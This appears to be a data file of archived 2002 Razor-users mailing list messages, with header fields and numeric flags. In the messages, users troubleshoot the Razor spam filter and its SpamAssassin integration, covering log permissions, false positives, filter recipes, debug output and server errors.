on > > unblessed reference at > > /usr/local/lib/perl5/site_perl/5.8.0/Razor2/Client/Agent.pm line 212. > > > > I have looked through the archived list and the only thing I have seen > > about this error is a possible permission problem on the log file. > > Yeah, the answer isn't here in this list, it's on the spamassassin-users > list. I just asked it late last week. > > Hint: Add -H to the spamd startup flags using the latest version of > spamassassin. > > -Dave > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Rob ,"Mon, 9 Sep 2002 19:00:23 -0500 (EST)",Re: [Razor-users] log problem,"It's a permissions issue on the razor log file. SpamAssassin runs setuid to the user to whom mail is being delivered. You'll need to make the razor log file world writable. On Mon, 9 Sep 2002, Rob wrote: > I just set up razor and spamassassin, but I keep getting this error in my > mail log file > > razor2 check skipped: No such file or directory Can't call method ""log"" on > unblessed reference at > /usr/local/lib/perl5/site_perl/5.8.0/Razor2/Client/Agent.pm line 212. > > I have looked through the archived list and the only thing I have seen > about this error is a possible permission problem on the log file. > I did what it said in the archives, basically change the permission on the > file but its still no go. > > Any other help would be appreciated, maybe I'm missing something. > something I forgot to run or do. > > > rob > > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Chip Paswater ,razor-users@example.sourceforge.net,"Mon, 9 Sep 2002 17:53:08 -0700",[Razor-users] Viewing my trust rating?,"Hey Folks I know this question gets asked a lot, but I haven't seen an answer lately. Any idea when a user will be able to view his own trust rating? What are the plans for this? Will it be built into the client, web based, emailed to you nightly? If you could share your brainstorming on the subject, I would greatly appreciate it. ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Colin Viebrock"" ",,"Mon, 9 Sep 2002 23:49:10 -0400",[Razor-users] Bug?,"Does anyone else experience this: http://sf.net/tracker/index.php?func=detail&aid=600311&group_id=3978&atid=10 3978 Also, it seems that the bugs tracker on SF isn't used very much ... is there somewhere else to post bugs? - Colin ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Robin Lynn Frank ,razor-users@example.sourceforge.net,"Tue, 10 Sep 2002 10:18:40 -0700",[Razor-users] How to test razor,"I have a spamd/spamc/razor/dcc setup. My razor logs are full of: Sep 10 09:48:48.411339 check[10200]: [ 1] [bootup] Logging initiated LogDebugLevel=3 to file:/home/omega13/.razor/razor-agent.log Sep 10 09:48:49.391309 check[10200]: [ 3] mail 1 is not known spam. The problem is that all the entries show ""is not known spam"" I can't believe I'm that lucky. So, how do I test to see that my razor installation is working properly. I've been up to my ears in documentation for the past few days, so, if the reference is easy, just point me to it. Otherwise a brief hint on how to, would be appreciated. -- Robin Lynn Frank Paradigm-Omega, LLC ================================== Gandalf fell at Khazadum. Sheridan fell at Z'ha'dum. Avoid high places in locations ending in ""dum"" ------------------------------------------------------- This sf.net email is sponsored by: OSDN - Tired of that same old cell phone? Get a new here for FREE! https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 David Raistrick ,"""Rose, Bobby"" ","Thu, 12 Sep 2002 09:06:53 -0700 (PDT)",[Razor-users] no positive razor hits?,"On Tue, 10 Sep 2002, Rose, Bobby wrote: > Use the sample-spam.txt from Spamassassin and do a ""razor-check -d < > sample-spam.txt"" Interesting. I just upgraded to razor-agents 2.14 yesterday, ran razor-admin -register. I to am seeing that I'm not getting any positives from razor. Including the sample-spam.txt's from spamassassin 2.41, 2.31, and 2.20. Any suggestions? thanks. -d output below maxwell:/var/qmail/alias/gb-users%# razor-check -d < /usr/local/src/Mail-SpamAssassin-2.20/sample-spam.txt Razor-Log: Computed razorhome from env: /root/.razor Razor-Log: Found razorhome: /root/.razor Razor-Log: No /root/.razor/razor-agent.conf found, skipping. Razor-Log: No razor-agent.conf found, using defaults. Sep 12 12:04:13.785852 check[52238]: [ 1] [bootup] Logging initiated LogDebugLevel=9 to stdout Sep 12 12:04:13.787113 check[52238]: [ 5] computed razorhome=/root/.razor, conf=, ident=/root/.razor/identity-ruqVa5jbuS Sep 12 12:04:13.787442 check[52238]: [ 2] Razor-Agents v2.14 starting razor-check -d Sep 12 12:04:13.789903 check[52238]: [ 9] uname -a: FreeBSD maxwell.gta.com 4.5-RELEASE-p3 FreeBSD 4.5-RELEASE-p3 #0: Wed May 22 14:52:29 EDT 2002 root@maxwell.gta.com:/usr/src/sys/compile/maxwell i386 Sep 12 12:04:13.790480 check[52238]: [ 8] reading straight RFC822 mail from Sep 12 12:04:13.791397 check[52238]: [ 6] read 1 mail Sep 12 12:04:13.791917 check[52238]: [ 8] Client supported_engines: 1 2 3 4 Sep 12 12:04:13.792948 check[52238]: [ 8] prep_mail done: mail 1 headers=1432, mime0=3139 Sep 12 12:04:13.793639 check[52238]: [ 6] skipping whitelist file (empty?): /root/.razor/razor-whitelist Sep 12 12:04:13.794295 check[52238]: [ 5] read_file: 1 items read from /root/.razor/servers.discovery.lst Sep 12 12:04:13.794871 check[52238]: [ 5] read_file: 1 items read from /root/.razor/servers.nomination.lst Sep 12 12:04:13.795382 check[52238]: [ 5] read_file: 3 items read from /root/.razor/servers.catalogue.lst Sep 12 12:04:13.796047 check[52238]: [ 9] Assigning defaults to honor.cloudmark.com Sep 12 12:04:13.796456 check[52238]: [ 9] Assigning defaults to apt.cloudmark.com Sep 12 12:04:13.796829 check[52238]: [ 9] Assigning defaults to fire.cloudmark.com Sep 12 12:04:13.797180 check[52238]: [ 9] Assigning defaults to truth.cloudmark.com Sep 12 12:04:13.798322 check[52238]: [ 5] read_file: 11 items read from /root/.razor/server.apt.cloudmark.com.conf Sep 12 12:04:13.799188 check[52238]: [ 5] read_file: 11 items read from /root/.razor/server.honor.cloudmark.com.conf Sep 12 12:04:13.799866 check[52238]: [ 5] 96778 seconds before closest server discovery Sep 12 12:04:13.800342 check[52238]: [ 6] apt.cloudmark.com is a Catalogue Server srl 51; computed min_cf=1, Server se: 0A Sep 12 12:04:13.800818 check[52238]: [ 8] Computed supported_engines: 2 4 Sep 12 12:04:13.801167 check[52238]: [ 8] Using next closest server apt.cloudmark.com:2703, cached info srl 51 Sep 12 12:04:13.801513 check[52238]: [ 8] mail 1 Subject: Home Based Business for Grownups Sep 12 12:04:13.805467 check[52238]: [ 6] preproc: mail 1.0 went from 3139 bytes to 3100 Sep 12 12:04:13.805878 check[52238]: [ 6] computing sigs for mail 1.0, len 3100 Sep 12 12:04:13.809475 check[52238]: [ 5] Connecting to apt.cloudmark.com ... Sep 12 12:04:18.587441 check[52238]: [ 8] Connection established Sep 12 12:04:18.587929 check[52238]: [ 4] apt.cloudmark.com >> 29 server greeting: sn=C&srl=51&ep4=7542-10&a=l Sep 12 12:04:18.588562 check[52238]: [ 6] apt.cloudmark.com is a Catalogue Server srl 51; computed min_cf=1, Server se: 0A Sep 12 12:04:18.589041 check[52238]: [ 8] Computed supported_engines: 2 4 Sep 12 12:04:18.589432 check[52238]: [ 8] mail 1.0 e2 sig: PGFfFte87P3Ve-CPTdu3NWgiBikA Sep 12 12:04:18.589751 check[52238]: [ 8] mail 1.0 e4 sig: k6oGZsa1AvVolyvalWx2AACdWb8A Sep 12 12:04:18.590103 check[52238]: [ 8] preparing 2 queries Sep 12 12:04:18.590638 check[52238]: [ 8] sending 1 batches Sep 12 12:04:18.591087 check[52238]: [ 4] apt.cloudmark.com << 96 Sep 12 12:04:18.591324 check[52238]: [ 6] -a=c&e=2&s=PGFfFte87P3Ve-CPTdu3NWgiBikA a=c&e=4&ep4=7542-10&s=k6oGZsa1AvVolyvalWx2AACdWb8A . Sep 12 12:04:19.270870 check[52238]: [ 4] apt.cloudmark.com >> 14 Sep 12 12:04:19.271227 check[52238]: [ 6] response to sent.1 -p=0 p=0 . Sep 12 12:04:19.272130 check[52238]: [ 6] mail 1.0 e=2 sig=PGFfFte87P3Ve-CPTdu3NWgiBikA: sig not found. Sep 12 12:04:19.272449 check[52238]: [ 6] mail 1.0 e=4 sig=k6oGZsa1AvVolyvalWx2AACdWb8A: sig not found. Sep 12 12:04:19.272760 check[52238]: [ 7] method 5: mail 1.0: no-contention part, spam=0 Sep 12 12:04:19.273012 check[52238]: [ 7] method 5: mail 1: a non-contention part not spam, mail not spam Sep 12 12:04:19.273257 check[52238]: [ 3] mail 1 is not known spam. Sep 12 12:04:19.273578 check[52238]: [ 5] disconnecting from server apt.cloudmark.com Sep 12 12:04:19.273982 check[52238]: [ 4] apt.cloudmark.com << 5 Sep 12 12:04:19.274203 check[52238]: [ 6] a=q Sep 12 12:04:19.274585 check[52238]: [ 8] razor-check finished successfully. --- david raistrick drais@atlasta.net http://www.expita.com/nomime.html ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Will Glynn"" ",,"Thu, 12 Sep 2002 19:23:46 -0500",[Razor-users] Re: Collision of hashes?,"To continue the subject on an otherwise unrelated note, the following personal correspondence was just flagged as spam: The following is a slightly modified e-mail message trapped in a server-wide spam box. ------ NEWSPAPER????? any time estimate when we can expect you home? dad <********@********** To: <*************@***************> *********> cc: Subject: Oh, yeah 09/12/2002 12:43 PM I have to stay after school today so I can work on the school newspaper (layout) -- Nords will bring me home later than usual. ------ I don't know how to explain this one. --Will ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ",,"Fri, 13 Sep 2002 10:26:09 -0400",[Razor-users] Fun Uses of Razored Mail,"I'm taking all my razored mail today and calling any 1-800 numbers I can find. I say ""Hi, I'm calling everyone that spammed me today to raise their cost of doing business. You have a great day!"" I'm told I should do it from a pay phone, so it costs them 50 cents per call. If more people did this, we could tie up their phone lines and cost them so much money they could never make spam work. Also fun is the simple ""Die Spammer Die!"" Fox ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Colin Viebrock ,razor-users@example.sourceforge.net,"Fri, 13 Sep 2002 17:21:39 -0400",[Razor-users] Bug ... still,"Haven't heard anything about this, so excuse the repost but: http://sf.net/tracker/index.php?func=detail&aid=600311& group_id=3978&atid=103978 Or should bugs be reported somewhere other than on the SF bug tracker? - Colin ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Raido Kurel ,razor-users@example.sourceforge.net,16 Sep 2002 16:16:31 +0300,[Razor-users] empty mail is spamm?,"Hi, Is it possible to use razor without filtering empty mails as spamm? An mail with an attachment is considered spamm. Is this normal? Or I mysqlf like to send emails to myself where all important is said in subject and body is empty (for remaining smth). Thanks, Raido Kurel ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Vipul Ved Prakash ,Raido Kurel ,"Mon, 16 Sep 2002 11:46:41 -0700",Re: [Razor-users] empty mail is spamm?,"Razor won't filter empty emails. What version of the agents are you using? cheers, vipul. On Mon, Sep 16, 2002 at 04:16:31PM +0300, Raido Kurel wrote: > Hi, > > Is it possible to use razor without filtering empty mails as spamm? > An mail with an attachment is considered spamm. Is this normal? > Or I mysqlf like to send emails to myself where all important is said in > subject and body is empty (for remaining smth). > > Thanks, > Raido Kurel > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users -- Vipul Ved Prakash | ""The future is here, it's just not Software Design Artist | widely distributed."" http://vipul.net/ | -- William Gibson ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 yyyy@spamassassin.taint.org (Justin Mason),"""Fox"" ","Wed, 18 Sep 2002 12:36:19 +0100",Re: [Razor-users] HTML Table - Razor Stats using -lm 4,"""Fox"" said: > Before or after I whitelisted all the legit mailing lists that Razor is > tagging? I had one false positive in the last four days. Razor tagged some > guys person-to-person message because he used an ostrich-in-your-face jpeg > that is probably pretty popular on the net, and -lm 4 means any single > attachment in a message that is razored, razors the whole message, if I > understand it correctly. Razor folks: is -lm documented anywhere? BTW, I notice all my *.conf files in ~/.razor use ""lm = 4"" by default anyway. > No, I am not keeping official tally of false positives. I need to write a > html interface to do it, and then it would be easy. I imagine you want > false positive rate per filter. I will work on it tomorrow, and maybe in a > week I will have some stats for false positives. Yeah, that'd be cool -- much appreciated! comparing text classifiers like spam filters, without tracking FPs, is not good. After all, ""cat > /dev/null"" gets a 100% hit rate, but without the FP rate figure of, let's say 90%, you'd never know it was a bad thing to do ;) --j.",0,0 bob@proulx.com (Bob Proulx),"""Razor User's List"" ","Wed, 18 Sep 2002 23:21:40 -0600",Re: [Razor-users] early experiences with Razor2 (and SA),"--huq684BweRXVnRxX Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Gary Funck [2002-09-18 13:57:00 -0700]: > In my experience, there are spam messages that sneak past Spam Assassin, > that Razor will pick up. Those are the ones that I'm calling ""marginal"". > Basically, I'm hoping that ""the collective"" of Razor users make a better > judge of spam than any single program like SA can, and therefore I can > benefit from their judgement and get more extensive spam filtering. I've > seen examples of this already, where SA doesn't score the spam high enough > to bounce it, but Razor does. I think perhaps you missed the fact that SA scores are adjustable. If you want SA to tag all messages listed in Razor then you can put this in your ~/.spamassassin/user_prefs file. score RAZOR_CHECK 10 The default score is 3 and the default threshold needed is 5. Therefore if you wish to have any razor listed messages tagged by SA then setting a score for any razor listed messages to anything above 5 would be sufficient. If you are already using SA then the above would be more efficient. Otherwise you are running all of the mail through razor twice, once for SA and once again afterward. If you really want to run Razor individually then you should set the 'score RAZOR_CHECK 0' so that SA won't do it and avoid the double network hit. However, one of the benefits of using SA in combination with Razor has been the history of false positive reports in the razor database. The current score of 3 is hefty, but not enough by itself to tag as spam. But for any real spam is usually enough to push it over the threshold. Razor2 addresses the false positive problem but is not yet in as wide of use as Razor1. Bob --huq684BweRXVnRxX Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9iV7k0pRcO8E2ULYRAjoAAJ97CB6LpbhPHqa8IJx1l4g/LRiVdwCfUZIB kUAK30zsRWL8PTb1TrEQuy8= =XVm6 -----END PGP SIGNATURE----- --huq684BweRXVnRxX-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Boniforti Flavio"" ","""'Santiago Vila'"" ","Thu, 19 Sep 2002 09:34:04 +0200",RE: [Razor-users] RE: Re: Some startup questions...,"> I suggest that you use a normal user to start. Once you are familiar > enough with razor and understand how it works, try the complex things > like integration with the MTA and the like. OK, but do I have to launch that command as ""root"" or what? Thank you ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Fox"" ","""Razor User's List"" ","Thu, 19 Sep 2002 08:48:15 -0400",[Razor-users] The -lm 4 blues,"Using -lm 4 is yielding an extra 20% a day, but it gets false positives where it shouldn't. Such as an email with a Word doc and the signature below. After looking at the Word doc, directions to the sender's cabin, I am convinced it marked the body, which contains no next except the ""IncrediMail advertisment"" signature, as spam. So I have to turn off -lm 4. Razor has been getting other strange emails it shouldn't with -lm 4 on. See the incredimail ad signature I am talking about below: Fox ____________________________________________________ IncrediMail - Email has finally evolved - Click Here ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Mike Burger ,Boniforti Flavio ,"Thu, 19 Sep 2002 07:47:15 -0500 (EST)",Re: [Razor-users] Razor: shall I use it with AMaViS or with,"Depends on how you want to use it. The default setup of running it from procmail works just fine, as long as you remember to go into your postfix/main.cf file, and tell it to use procmail instead of the internal delivery agent. On Thu, 19 Sep 2002, Boniforti Flavio wrote: > How do I intergrate razor into my postfix setup? Will it have to > interact with AMaViS or with SpamAssassin? > > Thank you > > Boniforti Flavio > Informa Srl > Via 42 Martiri, 165 > 28924 Verbania (VB) > Tel +39 0323 586216 > Fax +39 0323 586672 > http://www.co-ver.it/informa > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jeffrey Taylor ,razor-users@example.sourceforge.net,"Thu, 19 Sep 2002 11:11:58 -0500",Re: [Razor-users] Using razor with maildrop,"Here is my recipe for Maildrop: # Vipul's Razor check # log `/usr/bin/razor-check` log ""razor-check = $RETURNCODE"" if ( $RETURNCODE == 0 ) { xfilter ""reformail -a'X-Razor: SPAM'"" log ""SPAM caught by Vipul's Razor"" to ""$FOLDERS/.SPAM/"" } I used this with Razor version 1. I'm not sure if it was ever used with Razor2. I am now using SpamAssassin w/ Razor2. You may wish to remove the log statements once running. I use both. SpamAssassin (SA) catches things that Razor does not. There were enough false positives with Razor that I do not trust it alone. After whitelisting all the newsletters I receive, SA w/ Razor2 does a very good job. HTH, Jeffrey Quoting Sunil William Savkar : > Hi. > > I just finished installing and getting running maildrop with my virtual > users. I was thinking to set up razor with maildrop as my first test of > its filtering capabilities.. > > I have seen documentation out there for procmail, but is there similar > documentation for integrating maildrop with razor? > > > > Separately, it looks like many people use spamassassin with razor. If I > am using razor2, is there still an advantage to this? > > > > Thanks in advance. > > > > Sunil > ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sunil William Savkar"" ",,"Fri, 20 Sep 2002 17:05:16 -0400 (EDT)",Re: [Razor-users] Using razor with maildrop,"Jeff-- What is the maildrop recipe you use with spamassassin? I was trying to set mine up but I am running into a few difficulties. I think I will try spamassassin first and see how it goes, and then perhaps fold in razor2... is it easy to fold in? Sunil > > Here is my recipe for Maildrop: > > # Vipul's Razor check > # > log `/usr/bin/razor-check` > log ""razor-check = $RETURNCODE"" > if ( $RETURNCODE == 0 ) > { > xfilter ""reformail -a'X-Razor: SPAM'"" > log ""SPAM caught by Vipul's Razor"" > to ""$FOLDERS/.SPAM/"" > } > > I used this with Razor version 1. I'm not sure if it was ever used with > Razor2. I am now using SpamAssassin w/ Razor2. You may wish to remove > the log statements once running. > > I use both. SpamAssassin (SA) catches things that Razor does not. > There were enough false positives with Razor that I do not trust it > alone. After whitelisting all the newsletters I receive, SA w/ Razor2 > does a very good job. > > HTH, > Jeffrey > > > Quoting Sunil William Savkar : >> Hi. >> >> I just finished installing and getting running maildrop with my >> virtual users. I was thinking to set up razor with maildrop as my >> first test of its filtering capabilities.. >> >> I have seen documentation out there for procmail, but is there similar >> documentation for integrating maildrop with razor? >> >> >> >> Separately, it looks like many people use spamassassin with razor. If >> I am using razor2, is there still an advantage to this? >> >> >> >> Thanks in advance. >> >> >> >> Sunil >> > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Razor-users mailing list > Razor-users@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/razor-users ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Dave Rogers ,razor-users@example.sourceforge.net,22 Sep 2002 08:18:55 -0500,[Razor-users] Forged email address,"I received a spam email that had apparently forged the From header with my own email address. After reviewing the message I forwarded it with the rest of a batch of spam ti the database with razor-report. Now of, course, my own email address is listed int he Razor database. How do I go about getting it removed. I have seen this ploy (forged From headers) several time since then. Perhaps the razor-report need to detect this and emit a warning. dave ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 yyyy@spamassassin.taint.org (Justin Mason),razor-users@example.sourceforge.net,"Mon, 23 Sep 2002 18:48:24 +0100",Re: [Razor-users] razor unblessed reference,"Vipul Ved Prakash said: > Are there any suggestions for ""fixing"" this in razor-agents? razor-agents > could write to syslog by default, but I am not sure if that would be > desirable default behaviour... Hi Vipul, I reckon if the ""unwritable log file"" error condition could be caught by Razor and handled gracefully (logging to syslog or /dev/null), it'd be a great help. As it stands, if the log file is unwritable, the razor check falls over entirely as the constructor returns undef (unblessed reference = 'die' error in perl). --j. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Whit Blauvelt ,razor-users@example.sourceforge.net,"Wed, 25 Sep 2002 12:57:13 -0400","[Razor-users] ""No razor servers available at this time""","I'm getting ""no servers available"" about half the time in the last few days. This is with Razor 2. Is there something I need adjust in the installation here, or are the servers just down/overloaded? Thanks, Whit ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Dayv Gastonguay ,razor-users@example.sourceforge.net,"Mon, 30 Sep 2002 14:00:12 -0400 (EDT)","[Razor-users] ""Can't use and undefined value.."" error","I just installed razor 2.152 on a FreeBSD 4.4-RELEASE box and having problems with razor-check. Any time razor-check is run, (with or without arguments), i get this error: Can't use an undefined value as a symbol reference at /usr/local/lib/perl5/site_perl/5.005/i386-freebsd/Razor2/Client/Agent.pm line 756. razor-admin runs just fine and the make test before the install was all ok. Has anyone seen this before? Module versions: Digest-HMAC-1.01 Digest-MD5-2.20 Digest-Nilsimsa-0.06 Digest-SHA1-2.01 MIME-Base64-2.12 Net-DNS-0.23 Test-Simple-0.44 Time-HiRes-01.20 URI-1.19 ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Sven Willenberger"" ",,"Mon, 30 Sep 2002 15:29:55 -0400","[Razor-users] Re: Can't use and undefined value.."" error","> Date: Mon, 30 Sep 2002 14:00:12 -0400 (EDT) > From: Dayv Gastonguay > > I just installed razor 2.152 on a FreeBSD 4.4-RELEASE box and having > problems with razor-check. Any time razor-check is run, (with or without > arguments), i get this error: > > Can't use an undefined value as a symbol reference at > /usr/local/lib/perl5/site_perl/5.005/i386-freebsd/Razor2/Client/Agent.pm > line 756. > Try installing the latest Perl (at least 5.6.1) port on Freebsd and make sure you set the system to use perl from ports (i.e. in the ports/lang/perl5/files directory run ./use.perl port. Reinstall the relevant perl modules needed by razor and try again. Sven ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Wed, 2 Oct 2002 18:58:06 -0400",[Razor-users] Fire.cloudmark.com is having issues,"I noticed a drop in checks, and did some tests. If I move truth up in my catalog list, a check comes back postive, but if I move fire up in the list, then I don't get the positive check back. It's almost like it's not syncing up with Hubris which is the one my reports are getting sent to. -=Bobby ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """Rose, Bobby"" ",,"Wed, 2 Oct 2002 23:59:01 -0400",RE: [Razor-users] Fire.cloudmark.com is having issues,"What does this mean? I set up procmailrc for a spamtrap but I'm getting an error. I also am reporting to pyzor and dcc and they aren't registering an error. What's weird is that it works sometimes. . Oct 02 23:46:11.470523 report[14051]: [ 4] honor.cloudmark.com >> 20 Oct 02 23:46:11.470805 report[14051]: [ 6] response to sent.3 -res=1 err=230 . Oct 02 23:46:11.471825 report[14051]: [ 5] mail 1, orig_email, special case eng 1: Server accept ed report. Oct 02 23:46:11.472228 report[14051]: [ 8] mail 1.0, eng 4: err 230 - server wants mail ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Doug Crompton ,,"Thu, 3 Oct 2002 00:19:13 -0400 (EDT)",[Razor-users] Problem with SDK 2.03?,"I recently brought up a new system - SuSe 7.3 and I am running spamassassin and procmail, which work fine. I tried bringing up razor (2.14) but I am not able to get the SDK to install and razor reports missing modules. They appear to be there. I followed the installation directions. There appears to be an endless list of errors. Any ideas on what to do or where to start? Doug ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 Jordan Ritter ,"""Rose, Bobby"" ","Wed, 2 Oct 2002 22:20:49 -0700",Re: [Razor-users] Fire.cloudmark.com is having issues,"--CE+1k2dSO48ffgeK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Error 230 occurs when you report a signature, but the server doesn't know about the signature, so it wants the full content. It's basically an optimization. =20 Beyond that, I'm not sure how to interpret that output.. what version? Vipul? --jordan On Wed, Oct 02, 2002 at 11:59:01PM -0400, Rose, Bobby wrote: # What does this mean? I set up procmailrc for a spamtrap but I'm getting # an error. I also am reporting to pyzor and dcc and they aren't # registering an error. What's weird is that it works sometimes. #=20 # . # Oct 02 23:46:11.470523 report[14051]: [ 4] honor.cloudmark.com >> 20 # Oct 02 23:46:11.470805 report[14051]: [ 6] response to sent.3 # -res=3D1 # err=3D230 # . # Oct 02 23:46:11.471825 report[14051]: [ 5] mail 1, orig_email, special # case eng 1: Server accept # ed report. # Oct 02 23:46:11.472228 report[14051]: [ 8] mail 1.0, eng 4: err 230 - # server wants mail #=20 #=20 # ------------------------------------------------------- # This sf.net email is sponsored by:ThinkGeek # Welcome to geek heaven. # http://thinkgeek.com/sf # _______________________________________________ # Razor-users mailing list # Razor-users@lists.sourceforge.net # https://lists.sourceforge.net/lists/listinfo/razor-users --CE+1k2dSO48ffgeK Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.0 (GNU/Linux) iD8DBQE9m9OxpwQdAVEbU7oRAifiAKCSXxSTb64bYgzo8PiXVVswqkXCKgCgnqby YYrMsnaQOrQvEb7cDw5jios= =SBk3 -----END PGP SIGNATURE----- 